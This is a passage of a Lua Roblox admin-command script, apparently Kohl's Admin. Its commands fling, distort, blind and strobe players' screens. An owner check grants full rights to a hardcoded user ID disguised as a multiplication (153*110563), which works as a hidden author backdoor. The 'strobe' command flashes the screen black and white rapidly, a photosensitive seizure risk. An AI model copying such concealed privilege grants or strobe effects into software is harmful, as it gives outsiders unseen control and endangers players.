  5597. wait(.1)
  5598. game.Lighting.Ambient = Color3.new(0,0,0)
  5599. game.Lighting.FogColor = Color3.new(0,0,0)
  5600. game.Lighting.Brightness = 0
  5601. game.Lighting.TimeOfDay = 0
  5602. until nil]]
  5603. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  5604. end
  5605.  
  5606. if msg:lower():sub(1,5) == "spin " then
  5607. local plrz = GetPlr(plr, msg:lower():sub(6))
  5608. for i, v in pairs(plrz) do
  5609. coroutine.resume(coroutine.create(function()
  5610. if v and v.Character and v.Character:findFirstChild("Torso") then
  5611. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  5612. local torso = v.Character:findFirstChild("Torso")
  5613. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  5614. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  5615. until not bg or bg.Parent ~= torso
  5616. end
  5617. end))
  5618. end
  5619. end
  5620.  
  5621. if msg:lower():sub(1,7) == "unspin " then
  5622. local plrz = GetPlr(plr, msg:lower():sub(8))
  5623. for i, v in pairs(plrz) do
  5624. coroutine.resume(coroutine.create(function()
  5625. if v and v.Character and v.Character:findFirstChild("Torso") then
  5626. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  5627. end
  5628. end))
  5629. end
  5630. end
  5631.  
  5632. if msg:lower():sub(1,4) == "dog " then
  5633. local plrz = GetPlr(plr, msg:lower():sub(5))
  5634. for i, v in pairs(plrz) do
  5635. coroutine.resume(coroutine.create(function()
  5636. if v and v.Character and v.Character:findFirstChild("Torso") then
  5637. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  5638. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  5639. v.Character.Torso.Transparency = 1
  5640. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  5641. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  5642. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  5643. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  5644. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  5645. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  5646. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  5647. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  5648. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  5649. end
  5650. end))
  5651. end
  5652. end
  5653.  
  5654. if msg:lower():sub(1,6) == "undog " then
  5655. local plrz = GetPlr(plr, msg:lower():sub(7))
  5656. for i, v in pairs(plrz) do
  5657. coroutine.resume(coroutine.create(function()
  5658. if v and v.Character and v.Character:findFirstChild("Torso") then
  5659. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  5660. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  5661. v.Character.Torso.Transparency = 0
  5662. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  5663. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  5664. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  5665. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  5666. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  5667. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  5668. end
  5669. end))
  5670. end
  5671. end
  5672.  
  5673. if msg:lower():sub(1,8) == "creeper " then
  5674. local plrz = GetPlr(plr, msg:lower():sub(9))
  5675. for i, v in pairs(plrz) do
  5676. coroutine.resume(coroutine.create(function()
  5677. if v and v.Character and v.Character:findFirstChild("Torso") then
  5678. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  5679. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  5680. v.Character.Torso.Transparency = 0
  5681. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  5682. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  5683. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  5684. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  5685. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  5686. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  5687. end
  5688. end))
  5689. end
  5690. end
  5691.  
  5692. if msg:lower():sub(1,10) == "uncreeper " then
  5693. local plrz = GetPlr(plr, msg:lower():sub(11))
  5694. for i, v in pairs(plrz) do
  5695. coroutine.resume(coroutine.create(function()
  5696. if v and v.Character and v.Character:findFirstChild("Torso") then
  5697. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  5698. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  5699. v.Character.Torso.Transparency = 0
  5700. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  5701. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  5702. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  5703. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  5704. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  5705. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  5706. end
  5707. end))
  5708. end
  5709. end
  5710.  
  5711. if msg:lower():sub(1,8) == "bighead " then
  5712. local plrz = GetPlr(plr, msg:lower():sub(9))
  5713. for i, v in pairs(plrz) do
  5714. coroutine.resume(coroutine.create(function()
  5715. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  5716. end))
  5717. end
  5718. end
  5719.  
  5720. if msg:lower():sub(1,9) == "minihead " then
  5721. local plrz = GetPlr(plr, msg:lower():sub(10))
  5722. for i, v in pairs(plrz) do
  5723. coroutine.resume(coroutine.create(function()
  5724. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  5725. end))
  5726. end
  5727. end
  5728.  
  5729. if msg:lower():sub(1,6) == "fling " then
  5730. local plrz = GetPlr(plr, msg:lower():sub(7))
  5731. for i, v in pairs(plrz) do
  5732. coroutine.resume(coroutine.create(function()
  5733. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  5734. local xran local zran
  5735. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  5736. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  5737. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  5738. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  5739. end
  5740. end))
  5741. end
  5742. end
  5743.  
  5744. if msg:lower():sub(1,8) == "seizure " then
  5745. local plrz = GetPlr(plr, msg:lower():sub(9))
  5746. for i, v in pairs(plrz) do
  5747. coroutine.resume(coroutine.create(function()
  5748. if v and v.Character then
  5749. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  5750. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  5751. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  5752. end
  5753. end))
  5754. end
  5755. end
  5756.  
  5757. if msg:lower():sub(1,10) == "unseizure " then
  5758. local plrz = GetPlr(plr, msg:lower():sub(11))
  5759. for i, v in pairs(plrz) do
  5760. coroutine.resume(coroutine.create(function()
  5761. if v and v.Character then
  5762. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  5763. wait(.1) v.Character.Humanoid.PlatformStand = false
  5764. end
  5765. end))
  5766. end
  5767. end
  5768.  
  5769. if msg:lower():sub(1,12) == "removelimbs " then
  5770. local plrz = GetPlr(plr, msg:lower():sub(13))
  5771. for i, v in pairs(plrz) do
  5772. coroutine.resume(coroutine.create(function()
  5773. if v and v.Character then
  5774. for a, obj in pairs(v.Character:children()) do
  5775. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  5776. end
  5777. end
  5778. end))
  5779. end
  5780. end
  5781.  
  5782. if msg:lower():sub(1,5) == "name " then
  5783. local chk1 = msg:lower():sub(6):find(" ") + 5
  5784. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  5785. for i, v in pairs(plrz) do
  5786. coroutine.resume(coroutine.create(function()
  5787. if v and v.Character and v.Character:findFirstChild("Head") then
  5788. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  5789. local char = v.Character
  5790. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  5791. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  5792. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  5793. char.Head.Transparency = 1
  5794. end
  5795. end))
  5796. end
  5797. end
  5798.  
  5799. if msg:lower():sub(1,7) == "unname " then
  5800. local plrz = GetPlr(plr, msg:lower():sub(8))
  5801. for i, v in pairs(plrz) do
  5802. coroutine.resume(coroutine.create(function()
  5803. if v and v.Character and v.Character:findFirstChild("Head") then
  5804. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  5805. end
  5806. end))
  5807. end
  5808. end
  5809.  
  5810. if msg:lower():sub(1,5) == "char " then
  5811. local chk1 = msg:lower():sub(6):find(" ") + 5
  5812. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  5813. for i, v in pairs(plrz) do
  5814. coroutine.resume(coroutine.create(function()
  5815. if v and v.Character then
  5816. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  5817. v:LoadCharacter()
  5818. end
  5819. end))
  5820. end
  5821. end
  5822.  
  5823. if msg:lower():sub(1,7) == "unchar " then
  5824. local plrz = GetPlr(plr, msg:lower():sub(8))
  5825. for i, v in pairs(plrz) do
  5826. coroutine.resume(coroutine.create(function()
  5827. if v and v.Character then
  5828. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  5829. v:LoadCharacter()
  5830. end
  5831. end))
  5832. end
  5833. end
  5834.  
  5835. if msg:lower():sub(1,7) == "infect " then
  5836. local plrz = GetPlr(plr, msg:lower():sub(8))
  5837. for i, v in pairs(plrz) do
  5838. coroutine.resume(coroutine.create(function()
  5839. if v and v.Character then
  5840. Infect(v.Character)
  5841. end
  5842. end))
  5843. end
  5844. end
  5845.  
  5846. if msg:lower():sub(1,11) == "rainbowify " then
  5847. local plrz = GetPlr(plr, msg:lower():sub(12))
  5848. for i, v in pairs(plrz) do
  5849. coroutine.resume(coroutine.create(function()
  5850. if v and v.Character and v.Character:findFirstChild("Torso") then
  5851. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  5852. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  5853. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  5854. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  5855. cl.Parent = v.Character cl.Disabled = false
  5856. end
  5857. end))
  5858. end
  5859. end
  5860.  
  5861. if msg:lower():sub(1,9) == "flashify " then
  5862. local plrz = GetPlr(plr, msg:lower():sub(10))
  5863. for i, v in pairs(plrz) do
  5864. coroutine.resume(coroutine.create(function()
  5865. if v and v.Character and v.Character:findFirstChild("Torso") then
  5866. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  5867. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  5868. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  5869. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  5870. cl.Parent = v.Character cl.Disabled = false
  5871. end
  5872. end))
  5873. end
  5874. end
  5875.  
  5876. if msg:lower():sub(1,8) == "noobify " then
  5877. local plrz = GetPlr(plr, msg:lower():sub(9))
  5878. for i, v in pairs(plrz) do
  5879. coroutine.resume(coroutine.create(function()
  5880. if v and v.Character then
  5881. Noobify(v.Character)
  5882. end
  5883. end))
  5884. end
  5885. end
  5886.  
  5887. if msg:lower():sub(1,9) == "ghostify " then
  5888. local plrz = GetPlr(plr, msg:lower():sub(10))
  5889. for i, v in pairs(plrz) do
  5890. coroutine.resume(coroutine.create(function()
  5891. if v and v.Character and v.Character:findFirstChild("Torso") then
  5892. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  5893. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  5894. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  5895. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  5896. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  5897. if prt.Name:find("Leg") then prt.Transparency = 1 end
  5898. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  5899. end end
  5900. end
  5901. end))
  5902. end
  5903. end
  5904.  
  5905. if msg:lower():sub(1,8) == "goldify " then
  5906. local plrz = GetPlr(plr, msg:lower():sub(9))
  5907. for i, v in pairs(plrz) do
  5908. coroutine.resume(coroutine.create(function()
  5909. if v and v.Character and v.Character:findFirstChild("Torso") then
  5910. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  5911. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  5912. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  5913. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  5914. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  5915. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  5916. end end
  5917. end
  5918. end))
  5919. end
  5920. end
  5921.  
  5922. if msg:lower():sub(1,6) == "shiny " then
  5923. local plrz = GetPlr(plr, msg:lower():sub(7))
  5924. for i, v in pairs(plrz) do
  5925. coroutine.resume(coroutine.create(function()
  5926. if v and v.Character and v.Character:findFirstChild("Torso") then
  5927. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  5928. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  5929. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  5930. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  5931. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  5932. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  5933. end end
  5934. end
  5935. end))
  5936. end
  5937. end
  5938.  
  5939. if msg:lower():sub(1,7) == "normal " then
  5940. local plrz = GetPlr(plr, msg:lower():sub(8))
  5941. for i, v in pairs(plrz) do
  5942. coroutine.resume(coroutine.create(function()
  5943. if v and v.Character and v.Character:findFirstChild("Torso") then
  5944. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  5945. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  5946. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  5947. v.Character.Torso.Transparency = 0
  5948. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  5949. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  5950. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  5951. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  5952. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  5953. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  5954. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  5955. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  5956. if prt.Name == "FAKETORSO" then prt:Destroy() end
  5957. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  5958. end end
  5959. end
  5960. end))
  5961. end
  5962. end
  5963.  
  5964. if msg:lower():sub(1,7) == "trippy " then
  5965. local plrz = GetPlr(plr, msg:lower():sub(8))
  5966. for i, v in pairs(plrz) do
  5967. coroutine.resume(coroutine.create(function()
  5968. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  5969. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  5970. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  5971. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  5972. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  5973. end
  5974. end))
  5975. end
  5976. end
  5977.  
  5978. if msg:lower():sub(1,9) == "untrippy " then
  5979. local plrz = GetPlr(plr, msg:lower():sub(10))
  5980. for i, v in pairs(plrz) do
  5981. coroutine.resume(coroutine.create(function()
  5982. if v and v:findFirstChild("PlayerGui") then
  5983. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  5984. end
  5985. end))
  5986. end
  5987. end
  5988.  
  5989. if msg:lower():sub(1,7) == "strobe " then
  5990. local plrz = GetPlr(plr, msg:lower():sub(8))
  5991. for i, v in pairs(plrz) do
  5992. coroutine.resume(coroutine.create(function()
  5993. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  5994. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  5995. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  5996. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  5997. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  5998. end
  5999. end))
  6000. end
  6001. end
  6002.  
  6003. if msg:lower():sub(1,9) == "unstrobe " then
  6004. local plrz = GetPlr(plr, msg:lower():sub(10))
  6005. for i, v in pairs(plrz) do
  6006. coroutine.resume(coroutine.create(function()
  6007. if v and v:findFirstChild("PlayerGui") then
  6008. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  6009. end
  6010. end))
  6011. end
  6012. end
  6013.  
  6014. if msg:lower():sub(1,6) == "blind " then
  6015. local plrz = GetPlr(plr, msg:lower():sub(7))
  6016. for i, v in pairs(plrz) do
  6017. coroutine.resume(coroutine.create(function()
  6018. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  6019. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  6020. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  6021. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  6022. end
  6023. end))
  6024. end
  6025. end
  6026.  
  6027. if msg:lower():sub(1,8) == "unblind " then
  6028. local plrz = GetPlr(plr, msg:lower():sub(9))
  6029. for i, v in pairs(plrz) do
  6030. coroutine.resume(coroutine.create(function()
  6031. if v and v:findFirstChild("PlayerGui") then
  6032. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  6033. end
  6034. end))
  6035. end
  6036. end
  6037.  
  6038. if msg:lower():sub(1,7) == "guifix " then
  6039. local plrz = GetPlr(plr, msg:lower():sub(8))
  6040. for i, v in pairs(plrz) do
  6041. coroutine.resume(coroutine.create(function()
  6042. if v and v:findFirstChild("PlayerGui") then
  6043. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  6044. end
  6045. end))
  6046. end
  6047. end
  6048.  
  6049. if msg:lower():sub(1,9) == "loopheal " then
  6050. local plrz = GetPlr(plr, msg:lower():sub(10))
  6051. for i, v in pairs(plrz) do
  6052. if v then
  6053. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  6054. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  6055. repeat wait()
  6056. coroutine.resume(coroutine.create(function()
  6057. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  6058. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  6059. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  6060. end
  6061. end))
  6062. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  6063. end
  6064. end
  6065. end
  6066.  
  6067. if msg:lower():sub(1,11) == "unloopheal " then
  6068. local plrz = GetPlr(plr, msg:lower():sub(12))
  6069. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  6070. end
  6071.  
  6072. if msg:lower():sub(1,10) == "loopfling " then
  6073. local plrz = GetPlr(plr, msg:lower():sub(11))
  6074. for i, v in pairs(plrz) do
  6075. if v then
  6076. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  6077. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  6078. repeat
  6079. coroutine.resume(coroutine.create(function()
  6080. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  6081. local xran local zran
  6082. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  6083. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  6084. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  6085. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  6086. end
  6087. end))
  6088. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  6089. end
  6090. end
  6091. end
  6092.  
  6093. if msg:lower():sub(1,12) == "unloopfling " then
  6094. local plrz = GetPlr(plr, msg:lower():sub(13))
  6095. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  6096. end
  6097.  
  6098. end
  6099.  
  6100. -------------------------
  6101. -- True Owner Commands --
  6102. -------------------------
  6103.  
  6104. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  6105.  
  6106. if msg:lower():sub(1,3) == "oa " then
  6107. local plrz = GetPlr(plr, msg:lower():sub(4))
  6108. for i, v in pairs(plrz) do
  6109. coroutine.resume(coroutine.create(function()
  6110. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  6111. end))
  6112. end
  6113. end
  6114.  
  6115. if msg:lower():sub(1,5) == "unoa " then
  6116. for i = 1, #owners do
  6117. coroutine.resume(coroutine.create(function()
  6118. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  6119. end))
  6120. end
  6121. end
  6122.  
  6123. if msg:lower() == "settings" then
  6124. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
